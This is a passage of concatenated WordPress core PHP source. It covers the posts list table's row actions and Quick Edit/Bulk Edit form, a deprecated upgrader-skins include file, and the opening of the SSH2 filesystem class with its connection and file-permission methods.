					'<button type="button" class="button-link editinline" aria-label="%s" aria-expanded="false">%s</button>',
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $title ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

		if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( 'trash' === $post->post_status ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $title ) ),
					_x( 'Trash', 'verb' )
				);
			}

			if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID, '', true ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

		if ( is_post_type_viewable( $post_type_object ) ) {
			if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ), true ) ) {
				if ( $can_edit_post ) {
					$preview_link    = get_preview_post_link( $post );
					$actions['view'] = sprintf(
						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
						esc_url( $preview_link ),
						/* translators: %s: Post title. */
						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ),
						__( 'Preview' )
					);
				}
			} elseif ( 'trash' !== $post->post_status ) {
				$actions['view'] = sprintf(
					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
					get_permalink( $post->ID ),
					/* translators: %s: Post title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ),
					__( 'View' )
				);
			}
		}

		if ( 'wp_block' === $post->post_type ) {
			$actions['export'] = sprintf(
				'<button type="button" class="wp-list-reusable-blocks__export button-link" data-id="%s" aria-label="%s">%s</button>',
				$post->ID,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Export &#8220;%s&#8221; as JSON' ), $title ) ),
				__( 'Export as JSON' )
			);
		}

		if ( is_post_type_hierarchical( $post->post_type ) ) {

			/**
			 * Filters the array of row action links on the Pages list table.
			 *
			 * The filter is evaluated only for hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'page_row_actions', $actions, $post );
		} else {

			/**
			 * Filters the array of row action links on the Posts list table.
			 *
			 * The filter is evaluated only for non-hierarchical post types.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions An array of row action links. Defaults are
			 *                          'Edit', 'Quick Edit', 'Restore', 'Trash',
			 *                          'Delete Permanently', 'Preview', and 'View'.
			 * @param WP_Post  $post    The post object.
			 */
			$actions = apply_filters( 'post_row_actions', $actions, $post );
		}

		return $this->row_actions( $actions );
	}

	/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function inline_edit() {
		global $mode;

		$screen = $this->screen;

		$post             = get_default_post_to_edit( $screen->post_type );
		$post_type_object = get_post_type_object( $screen->post_type );

		$taxonomy_names          = get_object_taxonomies( $screen->post_type );
		$hierarchical_taxonomies = array();
		$flat_taxonomies         = array();

		foreach ( $taxonomy_names as $taxonomy_name ) {
			$taxonomy = get_taxonomy( $taxonomy_name );

			$show_in_quick_edit = $taxonomy->show_in_quick_edit;

			/**
			 * Filters whether the current taxonomy should be shown in the Quick Edit panel.
			 *
			 * @since 4.2.0
			 *
			 * @param bool   $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
			 * @param string $taxonomy_name      Taxonomy name.
			 * @param string $post_type          Post type of current Quick Edit post.
			 */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
				continue;
			}

			if ( $taxonomy->hierarchical ) {
				$hierarchical_taxonomies[] = $taxonomy;
			} else {
				$flat_taxonomies[] = $taxonomy;
			}
		}

		$m            = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
		$can_publish  = current_user_can( $post_type_object->cap->publish_posts );
		$core_columns = array(
			'cb'         => true,
			'date'       => true,
			'title'      => true,
			'categories' => true,
			'tags'       => true,
			'comments'   => true,
			'author'     => true,
		);
		?>

		<form method="get">
		<table style="display: none"><tbody id="inlineedit">
		<?php
		$hclass              = count( $hierarchical_taxonomies ) ? 'post' : 'page';
		$inline_edit_classes = "inline-edit-row inline-edit-row-$hclass";
		$bulk_edit_classes   = "bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}";
		$quick_edit_classes  = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";

		$bulk = 0;

		while ( $bulk < 2 ) :
			$classes  = $inline_edit_classes . ' ';
			$classes .= $bulk ? $bulk_edit_classes : $quick_edit_classes;
			?>
			<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="<?php echo $classes; ?>" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
			<div class="inline-edit-wrapper" role="region" aria-labelledby="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend">
			<fieldset class="inline-edit-col-left">
				<legend class="inline-edit-legend" id="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend"><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></legend>
				<div class="inline-edit-col">

				<?php if ( post_type_supports( $screen->post_type, 'title' ) ) : ?>

					<?php if ( $bulk ) : ?>

						<div id="bulk-title-div">
							<div id="bulk-titles"></div>
						</div>

					<?php else : // $bulk ?>

						<label>
							<span class="title"><?php _e( 'Title' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
						</label>

						<?php if ( is_post_type_viewable( $screen->post_type ) ) : ?>

							<label>
								<span class="title"><?php _e( 'Slug' ); ?></span>
								<span class="input-text-wrap"><input type="text" name="post_name" value="" autocomplete="off" spellcheck="false" /></span>
							</label>

						<?php endif; // is_post_type_viewable() ?>

					<?php endif; // $bulk ?>

				<?php endif; // post_type_supports( ... 'title' ) ?>

				<?php if ( ! $bulk ) : ?>
					<fieldset class="inline-edit-date">
						<legend><span class="title"><?php _e( 'Date' ); ?></span></legend>
						<?php touch_time( 1, 1, 0, 1 ); ?>
					</fieldset>
					<br class="clear" />
				<?php endif; // $bulk ?>

				<?php
				if ( post_type_supports( $screen->post_type, 'author' ) ) {
					$authors_dropdown = '';

					if ( current_user_can( $post_type_object->cap->edit_others_posts ) ) {
						$dropdown_name  = 'post_author';
						$dropdown_class = 'authors';
						if ( wp_is_large_user_count() ) {
							$authors_dropdown = sprintf( '<select name="%s" class="%s hidden"></select>', esc_attr( $dropdown_name ), esc_attr( $dropdown_class ) );
						} else {
							$users_opt = array(
								'hide_if_only_one_author' => false,
								'capability'              => array( $post_type_object->cap->edit_posts ),
								'name'                    => $dropdown_name,
								'class'                   => $dropdown_class,
								'multi'                   => 1,
								'echo'                    => 0,
								'show'                    => 'display_name_with_login',
							);

							if ( $bulk ) {
								$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );
							}

							/**
							 * Filters the arguments used to generate the Quick Edit authors drop-down.
							 *
							 * @since 5.6.0
							 *
							 * @see wp_dropdown_users()
							 *
							 * @param array $users_opt An array of arguments passed to wp_dropdown_users().
							 * @param bool $bulk A flag to denote if it's a bulk action.
							 */
							$users_opt = apply_filters( 'quick_edit_dropdown_authors_args', $users_opt, $bulk );

							$authors = wp_dropdown_users( $users_opt );

							if ( $authors ) {
								$authors_dropdown  = '<label class="inline-edit-author">';
								$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
								$authors_dropdown .= $authors;
								$authors_dropdown .= '</label>';
							}
						}
					} // current_user_can( 'edit_others_posts' )

					if ( ! $bulk ) {
						echo $authors_dropdown;
					}
				} // post_type_supports( ... 'author' )
				?>

				<?php if ( ! $bulk && $can_publish ) : ?>

					<div class="inline-edit-group wp-clearfix">
						<label class="alignleft">
							<span class="title"><?php _e( 'Password' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
						</label>

						<span class="alignleft inline-edit-or">
							<?php
							/* translators: Between password field and private checkbox on post quick edit interface. */
							_e( '&ndash;OR&ndash;' );
							?>
						</span>
						<label class="alignleft inline-edit-private">
							<input type="checkbox" name="keep_private" value="private" />
							<span class="checkbox-title"><?php _e( 'Private' ); ?></span>
						</label>
					</div>

				<?php endif; ?>

				</div>
			</fieldset>

			<?php if ( count( $hierarchical_taxonomies ) && ! $bulk ) : ?>

				<fieldset class="inline-edit-col-center inline-edit-categories">
					<div class="inline-edit-col">

					<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>

						<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
						<input type="hidden" name="<?php echo ( 'category' === $taxonomy->name ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
						<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name ); ?>-checklist">
							<?php wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name ) ); ?>
						</ul>

					<?php endforeach; // $hierarchical_taxonomies as $taxonomy ?>

					</div>
				</fieldset>

			<?php endif; // count( $hierarchical_taxonomies ) && ! $bulk ?>

			<fieldset class="inline-edit-col-right">
				<div class="inline-edit-col">

				<?php
				if ( post_type_supports( $screen->post_type, 'author' ) && $bulk ) {
					echo $authors_dropdown;
				}
				?>

				<?php if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) : ?>

					<?php if ( $post_type_object->hierarchical ) : ?>

						<label>
							<span class="title"><?php _e( 'Parent' ); ?></span>
							<?php
							$dropdown_args = array(
								'post_type'         => $post_type_object->name,
								'selected'          => $post->post_parent,
								'name'              => 'post_parent',
								'show_option_none'  => __( 'Main Page (no parent)' ),
								'option_none_value' => 0,
								'sort_column'       => 'menu_order, post_title',
							);

							if ( $bulk ) {
								$dropdown_args['show_option_no_change'] = __( '&mdash; No Change &mdash;' );
							}

							/**
							 * Filters the arguments used to generate the Quick Edit page-parent drop-down.
							 *
							 * @since 2.7.0
							 * @since 5.6.0 The `$bulk` parameter was added.
							 *
							 * @see wp_dropdown_pages()
							 *
							 * @param array $dropdown_args An array of arguments passed to wp_dropdown_pages().
							 * @param bool  $bulk          A flag to denote if it's a bulk action.
							 */
							$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args, $bulk );

							wp_dropdown_pages( $dropdown_args );
							?>
						</label>

					<?php endif; // hierarchical ?>

					<?php if ( ! $bulk ) : ?>

						<label>
							<span class="title"><?php _e( 'Order' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order; ?>" /></span>
						</label>

					<?php endif; // ! $bulk ?>

				<?php endif; // post_type_supports( ... 'page-attributes' ) ?>

				<?php if ( 0 < count( get_page_templates( null, $screen->post_type ) ) ) : ?>

					<label>
						<span class="title"><?php _e( 'Template' ); ?></span>
						<select name="page_template">
							<?php if ( $bulk ) : ?>
							<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
							<?php endif; // $bulk ?>
							<?php
							/** This filter is documented in wp-admin/includes/meta-boxes.php */
							$default_title = apply_filters( 'default_page_template_title', __( 'Default template' ), 'quick-edit' );
							?>
							<option value="default"><?php echo esc_html( $default_title ); ?></option>
							<?php page_template_dropdown( '', $screen->post_type ); ?>
						</select>
					</label>

				<?php endif; ?>

				<?php if ( count( $flat_taxonomies ) && ! $bulk ) : ?>

					<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>

						<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?>
							<?php $taxonomy_name = esc_attr( $taxonomy->name ); ?>
							<div class="inline-edit-tags-wrap">
							<label class="inline-edit-tags">
								<span class="title"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
								<textarea data-wp-taxonomy="<?php echo $taxonomy_name; ?>" cols="22" rows="1" name="tax_input[<?php echo esc_attr( $taxonomy->name ); ?>]" class="tax_input_<?php echo esc_attr( $taxonomy->name ); ?>" aria-describedby="inline-edit-<?php echo esc_attr( $taxonomy->name ); ?>-desc"></textarea>
							</label>
							<p class="howto" id="inline-edit-<?php echo esc_attr( $taxonomy->name ); ?>-desc"><?php echo esc_html( $taxonomy->labels->separate_items_with_commas ); ?></p>
							</div>
						<?php endif; // current_user_can( 'assign_terms' ) ?>

					<?php endforeach; // $flat_taxonomies as $taxonomy ?>

				<?php endif; // count( $flat_taxonomies ) && ! $bulk ?>

				<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

					<?php if ( $bulk ) : ?>

						<div class="inline-edit-group wp-clearfix">

						<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

							<label class="alignleft">
								<span class="title"><?php _e( 'Comments' ); ?></span>
								<select name="comment_status">
									<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
									<option value="open"><?php _e( 'Allow' ); ?></option>
									<option value="closed"><?php _e( 'Do not allow' ); ?></option>
								</select>
							</label>

						<?php endif; ?>

						<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

							<label class="alignright">
								<span class="title"><?php _e( 'Pings' ); ?></span>
								<select name="ping_status">
									<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
									<option value="open"><?php _e( 'Allow' ); ?></option>
									<option value="closed"><?php _e( 'Do not allow' ); ?></option>
								</select>
							</label>

						<?php endif; ?>

						</div>

					<?php else : // $bulk ?>

						<div class="inline-edit-group wp-clearfix">

						<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

							<label class="alignleft">
								<input type="checkbox" name="comment_status" value="open" />
								<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
							</label>

						<?php endif; ?>

						<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

							<label class="alignleft">
								<input type="checkbox" name="ping_status" value="open" />
								<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
							</label>

						<?php endif; ?>

						</div>

					<?php endif; // $bulk ?>

				<?php endif; // post_type_supports( ... comments or pings ) ?>

					<div class="inline-edit-group wp-clearfix">

						<label class="inline-edit-status alignleft">
							<span class="title"><?php _e( 'Status' ); ?></span>
							<select name="_status">
								<?php if ( $bulk ) : ?>
									<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
								<?php endif; // $bulk ?>

								<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review". ?>
									<option value="publish"><?php _e( 'Published' ); ?></option>
									<option value="future"><?php _e( 'Scheduled' ); ?></option>
									<?php if ( $bulk ) : ?>
										<option value="private"><?php _e( 'Private' ); ?></option>
									<?php endif; // $bulk ?>
								<?php endif; ?>

								<option value="pending"><?php _e( 'Pending Review' ); ?></option>
								<option value="draft"><?php _e( 'Draft' ); ?></option>
							</select>
						</label>

						<?php if ( 'post' === $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>

							<?php if ( $bulk ) : ?>

								<label class="alignright">
									<span class="title"><?php _e( 'Sticky' ); ?></span>
									<select name="sticky">
										<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
										<option value="sticky"><?php _e( 'Sticky' ); ?></option>
										<option value="unsticky"><?php _e( 'Not Sticky' ); ?></option>
									</select>
								</label>

							<?php else : // $bulk ?>

								<label class="alignleft">
									<input type="checkbox" name="sticky" value="sticky" />
									<span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span>
								</label>

							<?php endif; // $bulk ?>

						<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_posts' ) ?>

					</div>

				<?php if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) : ?>
					<?php $post_formats = get_theme_support( 'post-formats' ); ?>

					<label class="alignleft">
						<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
						<select name="post_format">
							<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
							<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
							<?php if ( is_array( $post_formats[0] ) ) : ?>
								<?php foreach ( $post_formats[0] as $format ) : ?>
									<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
								<?php endforeach; ?>
							<?php endif; ?>
						</select>
					</label>

				<?php endif; ?>

				</div>
			</fieldset>

			<?php
			list( $columns ) = $this->get_column_info();

			foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

				if ( $bulk ) {

					/**
					 * Fires once for each column in Bulk Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug.
					 */
					do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
				} else {

					/**
					 * Fires once for each column in Quick Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug, or current screen name if this is a taxonomy list table.
					 * @param string $taxonomy    The taxonomy name, if any.
					 */
					do_action( 'quick_edit_custom_box', $column_name, $screen->post_type, '' );
				}
			}
			?>

			<div class="submit inline-edit-save">
				<?php if ( ! $bulk ) : ?>
					<?php wp_nonce_field( 'inlineeditnonce', '_inline_edit', false ); ?>
					<button type="button" class="button button-primary save"><?php _e( 'Update' ); ?></button>
				<?php else : ?>
					<?php submit_button( __( 'Update' ), 'primary', 'bulk_edit', false ); ?>
				<?php endif; ?>

				<button type="button" class="button cancel"><?php _e( 'Cancel' ); ?></button>

				<?php if ( ! $bulk ) : ?>
					<span class="spinner"></span>
				<?php endif; ?>

				<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
				<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
				<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) : ?>
					<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
				<?php endif; ?>

				<?php
				wp_admin_notice(
					'<p class="error"></p>',
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						'paragraph_wrap'     => false,
					)
				);
				?>
			</div>
		</div> <!-- end of .inline-edit-wrapper -->

			</td></tr>

			<?php
			++$bulk;
		endwhile;
		?>
		</tbody></table>
		</form>
		<?php
	}
}
<?php
/**
 * The User Interface "Skins" for the WordPress File Upgrader
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'class-wp-upgrader.php' );

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
<?php
/**
 * WordPress Filesystem Class for implementing SSH2
 *
 * To use this class you must follow these steps for PHP 5.2.6+
 *
 * {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
 *
 * Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
 *
 * cd /usr/src
 * wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
 * tar -zxvf libssh2-0.14.tar.gz
 * cd libssh2-0.14/
 * ./configure
 * make all install
 *
 * Note: Do not leave the directory yet!
 *
 * Enter: pecl install -f ssh2
 *
 * Copy the ssh.so file it creates to your PHP Module Directory.
 * Open up your PHP.INI file and look for where extensions are placed.
 * Add in your PHP.ini file: extension=ssh2.so
 *
 * Restart Apache!
 * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
 *
 * Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
 *
 * @since 2.7.0
 *
 * @package WordPress
 * @subpackage Filesystem
 */
class WP_Filesystem_SSH2 extends WP_Filesystem_Base {

	/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $link = false;

	/**
	 * @since 2.7.0
	 * @var resource
	 */
	public $sftp_link;

	/**
	 * @since 2.7.0
	 * @var bool
	 */
	public $keys = false;

	/**
	 * Constructor.
	 *
	 * @since 2.7.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ssh2';
		$this->errors = new WP_Error();

		// Check if possible to use ssh2 functions.
		if ( ! extension_loaded( 'ssh2' ) ) {
			$this->errors->add( 'no_ssh2_ext', __( 'The ssh2 PHP extension is not available' ) );
			return;
		}

		// Set defaults:
		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 22;
		} else {
			$this->options['port'] = $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'SSH2 hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( ! empty( $opt['public_key'] ) && ! empty( $opt['private_key'] ) ) {
			$this->options['public_key']  = $opt['public_key'];
			$this->options['private_key'] = $opt['private_key'];

			$this->options['hostkey'] = array( 'hostkey' => 'ssh-rsa,ssh-ed25519' );

			$this->keys = true;
		} elseif ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'SSH2 username is required' ) );
		}

		if ( ! empty( $opt['username'] ) ) {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			// Password can be blank if we are using keys.
			if ( ! $this->keys ) {
				$this->errors->add( 'empty_password', __( 'SSH2 password is required' ) );
			} else {
				$this->options['password'] = null;
			}
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.7.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->keys ) {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'] );
		} else {
			$this->link = @ssh2_connect( $this->options['hostname'], $this->options['port'], $this->options['hostkey'] );
		}

		if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->keys ) {
			if ( ! @ssh2_auth_password( $this->link, $this->options['username'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Username/Password incorrect for %s' ),
						$this->options['username']
					)
				);

				return false;
			}
		} else {
			if ( ! @ssh2_auth_pubkey_file( $this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
				$this->errors->add(
					'auth',
					sprintf(
						/* translators: %s: Username. */
						__( 'Public and Private keys incorrect for %s' ),
						$this->options['username']
					)
				);

				return false;
			}
		}

		$this->sftp_link = ssh2_sftp( $this->link );

		if ( ! $this->sftp_link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to initialize a SFTP subsystem session with the SSH2 Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		return true;
	}

	/**
	 * Gets the ssh2.sftp PHP stream wrapper path to open for the given file.
	 *
	 * This method also works around a PHP bug where the root directory (/) cannot
	 * be opened by PHP functions, causing a false failure. In order to work around
	 * this, the path is converted to /./ which is semantically the same as /
	 * See https://bugs.php.net/bug.php?id=64169 for more details.
	 *
	 * @since 4.4.0
	 *
	 * @param string $path The File/Directory path on the remote server to return
	 * @return string The ssh2.sftp:// wrapped path to use.
	 */
	public function sftp_path( $path ) {
		if ( '/' === $path ) {
			$path = '/./';
		}

		return 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $path, '/' );
	}

	/**
	 * @since 2.7.0
	 *
	 * @param string $command
	 * @param bool   $returnbool
	 * @return bool|string True on success, false on failure. String if the command was executed, `$returnbool`
	 *                     is false (default), and data from the resulting stream was retrieved.
	 */
	public function run_command( $command, $returnbool = false ) {
		if ( ! $this->link ) {
			return false;
		}

		$stream = ssh2_exec( $this->link, $command );

		if ( ! $stream ) {
			$this->errors->add(
				'command',
				sprintf(
					/* translators: %s: Command. */
					__( 'Unable to perform command: %s' ),
					$command
				)
			);
		} else {
			stream_set_blocking( $stream, true );
			stream_set_timeout( $stream, FS_TIMEOUT );
			$data = stream_get_contents( $stream );
			fclose( $stream );

			if ( $returnbool ) {
				return ( false === $data ) ? false : '' !== trim( $data );
			} else {
				return $data;
			}
		}

		return false;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		return file_get_contents( $this->sftp_path( $file ) );
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.7.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return file( $this->sftp_path( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$ret = file_put_contents( $this->sftp_path( $file ), $contents );

		if ( strlen( $contents ) !== $ret ) {
			return false;
		}

		$this->chmod( $file, $mode );

		return true;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.7.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ssh2_sftp_realpath( $this->sftp_link, '.' );

		if ( $cwd ) {
			$cwd = trailingslashit( trim( $cwd ) );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->run_command( 'cd ' . $dir, true );
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chgrp %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chgrp -R %s %s', escapeshellarg( $group ), escapeshellarg( $file ) ), true );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.7.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		if ( ! $recursive || ! $this->is_dir( $file ) ) {
			return $this->run_command( sprintf( 'chmod %o %s', $mode, escapeshellarg( $file ) ), true );
		}

		return $this->run_command( sprintf( 'chmod -R %o %s', $mode, escapeshellarg( $file ) ), true );
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $file      Path to the file or directory.
